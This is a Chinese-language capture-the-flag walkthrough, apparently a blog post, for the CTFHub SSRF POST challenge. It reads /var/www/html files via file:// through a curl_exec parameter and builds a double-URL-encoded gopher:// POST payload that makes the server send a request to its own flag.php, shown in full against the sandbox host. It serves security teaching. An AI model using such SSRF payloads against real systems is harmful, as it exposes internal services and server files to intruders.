CTFHUB SSRF POST小记

这关考察的是gopher伪协议构造post请求;

gopher伪协议总结:SSRF笔记整理-CSDN博客

有很多的细节需要注意

  1. 格式:gopher://192.168.232.125:80/_+下面url编码后的内容
  2. 默认访问70端口,访问web时需要改为80端口
  3. %0A时linux下的换行符,windows下需要改为%0D%0A(小写也行,window不区分大小写)
  4. gopher伪协议的数据的第一字符不识别;需要用字符填充代替
  5. POST请求需要一些必须的头部字段

首先进入CTFHUB题目界面;

通过题目知道这是一道POST请求;并且用了curl进行远程资源的请求

CTFHUB SSRF POST小记_第1张图片

访问目标地址发现是空白页面;网页导航栏中有url的参数信息;肯定是有ssrf信息的

通过bp抓取上传包,通过修改url=file:///var/www/html/index.php可以查看index.php的内容;可以看到文件中是通过curl_exec()函数请求远程资源的;curl支持很多的伪协议,http,file,gopher,dict等

CTFHUB SSRF POST小记_第2张图片

通过改变url=file:///var/www/html/flag.php可以查看flag.php的内容;可以发现flag中的内容分为两部分:host地址验证+key值验证;

CTFHUB SSRF POST小记_第3张图片

修改url=http://127.0.0.1/flag.php;发现出现了一个文本框;而且key值也附带了

CTFHUB SSRF POST小记_第4张图片

CTFHUB SSRF POST小记_第5张图片

通过输入123然后进行抓包分析;可以看到post请求包的格式;这里验证的host字段;通过添加X-Forwarded-For字段也是无法绕过的;只能用gopher伪协议

CTFHUB SSRF POST小记_第6张图片

构造gopher伪协议的post请求

必须要有post字段、host字段、文本长度、文本类型、空白行、key值内容

格式和内容如下:

长度要和输入内容数量一致;文本类型需要查看原始post请求中的类型

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length:  36
Content-Type: application/x-www-form-urlencoded

key=28bcbd94a544c291db4c1dd6204b352e

需要对这段内容进行两次urlencode编码(因为浏览器会自动进行urldecode解析且到达目的地之前需要两次url解码:中转网站解析+目标解析)

在线编码地址:在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)

将上面的文本复制到加密选项中;加密结果如下

CTFHUB SSRF POST小记_第7张图片

此时需要将其中的%0A全部换成%0D%0A;可以直接手动替换;也可以复制到文本中利用文档替换功能进行替换(ctrl+T);替换完成后再次进行url加密得到目标post内容

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D28bcbd94a544c291db4c1dd6204b352e

CTFHUB SSRF POST小记_第8张图片

构造payload:(key值需要根据实际情况改动)

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

完整访问url

http://challenge-7bdc76a73ec76e19.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

可以看到输出了flag

CTFHUB SSRF POST小记_第9张图片

10

你可能感兴趣的:(安全,ctfhub,ssrf,post)